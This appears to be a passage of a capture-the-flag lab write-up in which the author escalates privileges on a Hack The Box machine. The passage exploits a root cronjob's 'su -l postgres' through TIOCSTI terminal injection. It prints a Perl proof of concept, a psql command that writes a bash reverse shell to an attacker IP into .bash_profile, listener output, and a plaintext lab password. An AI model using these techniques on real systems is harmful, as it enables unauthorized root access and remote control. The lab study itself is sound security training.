su -l $USER
Attempting to escalate privileges to the root
user by abusing the group membership to the ssl-cert
group came to a dead end.
I conducted a more thorough examination of the active processes, during which a critical cronjob process came to my attention that had been overlooked, both by me and the PSPY tool.
In particular, I observed the execution command above.
This command facilitates a transition from the
root
user to the postgres
user.
Initially, the PSPY tool did not capture this process, leading me to speculate that the transition from UID=0
to UID=13
might have been associated with the manage-db
file, which is invoked by the root
user. This assumption left me without a precise understanding of the intricacies of user switching.
Subsequently, I have incorporated the details of this process into the output of the PSPY execution for the purposes of comprehensive reporting.
TIOCSTI ioctl
su -l postgres
While the command appears trivial and is extremely easy to be overlooked, it lies a very old Linux bug that dates all the way back to 2005.
The vulnerability at hand pertains to the behavior exhibited by the su and sudo commands during user transitions from the root
to a non-root user. While these commands effectively modify the User ID (UID) of the executed process, the terminal context associated with the session remains rooted in the root
user’s privileges. This circumstance renders the terminal accessible to non-privileged users, potentially leading to unauthorized access and command execution.
Understanding Terminal Context and Exploitation:
Within Unix-like operating systems, active program often maintains a connection with an associated terminal. This terminal, frequently referred to as a pseudo-terminal (PTY), serves as a conduit for user input and output interactions. Importantly, the terminal context, represented by the PTY, can persist even after a process undergoes a User ID (UID) change.
Exploiting this vulnerability hinges on a convergence of factors. The /dev/tty
device serves as a gateway to the active terminal of a program. When accessed by a non-root user, this device offers a direct link to the terminal (PTY) of the root
user. By harnessing the ioctl(2)
system call, specifically the TIOCSTI
flag, an attacker can simulate user input within the root
user’s terminal context.
Upon further research online, I came across the publication above that seems to be actively maintained
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
ioctl($tty_fh, &TIOCSTI, $c);
}
The publication also includes a simple PoC
I will first test out the PoC
Failed
wesley@download:/tmp$ cat pe.pl
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
ioctl($tty_fh, &TIOCSTI, $c);
}
The PoC is saved to the /tmp/pe.pl
file
wesley@download:/tmp$ /usr/lib/postgresql/12/bin/psql -h localhost -U download -W -c "COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';" ; cat /var/lib/postgresql/.bash_profile
password: CoconutPineappleWatermelon
COPY 1
bash -i >& /dev/tcp/10.10.14.20/8888 0>&1
Using the same “Logon Script” method, I will write a bash reverse shell to the .bash_profile
file
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59128
postgres@download:~$ /tmp/pe.pl
/tmp/pe.pl
postgres@download:~$ /tmp/pe.pl
/tmp/pe.pl
A moment later, I get a temporary shell session opened as the postgres
user.
However, there is a problem.
The exploit PoC, /tmp/pe.pl
, doesn’t seem to output anything.
The reason for that erroneous behavior above is due to the way Linux handles and assigns the session
Why?
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59128
postgres@download:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 postgres postgres 64 Aug 10 04:12 0 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 1 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 2 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 255 -> /dev/tty
ls -l /proc/$$/fd
lists detailed information about the file descriptors currently open by the process executing the command. Each entry represents a file descriptor and its associated file or resource, such as a socket, pipe, or terminal.
As shown above, establishing a reverse shell session results assigning those file descriptors 0
(stdin), 1
(stdout), and 2
(stderr) to a socket, socket:[131659]
, resulting all the streams of input, output, and error to a network socket with an ID set to 131659, which is likely connected to the 10.10.11.226:59128
that initiated the reverse shell call process.
It also has a valid device set to /dev/tty
Additionally, those are all owned by the postgres
user
Confirm
However, If I set the file descriptor viewing command (
ls -l /proc/$$/fd > /tmp/out.txt
) to the PoC script…
wesley@download:/tmp$ /usr/lib/postgresql/12/bin/psql -h localhost -U download -W -c "COPY (SELECT 'bash -c /tmp/pe.pl') TO '/var/lib/postgresql/.bash_profile';" ; cat /var/lib/postgresql/.bash_profile
password: CoconutPineappleWatermelon
COPY 1
bash -c /tmp/pe.pl
and have the root cronjob process execute the PoC script directly from the “Logon Script” method from the .bash_profile
file..
wesley@download:/tmp$ cat out.txt
total 0
lrwx------ 1 root root 64 aug 10 04:16 0 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 1 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 2 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 255 -> /dev/pts/1
lr-x------ 1 root root 64 aug 10 04:16 3 -> pipe:[133826]
I get a totally different result.
those file descriptors 0
(stdin), 1
(stdout), and 2
(stderr) are set to a pseudo-terminal (pty) device, /dev/pts/1
, which is owned by the root
user uses (root
:root
)
This confirms that the execution is done as the root
user
Moving on to the Privilege Escalation phase.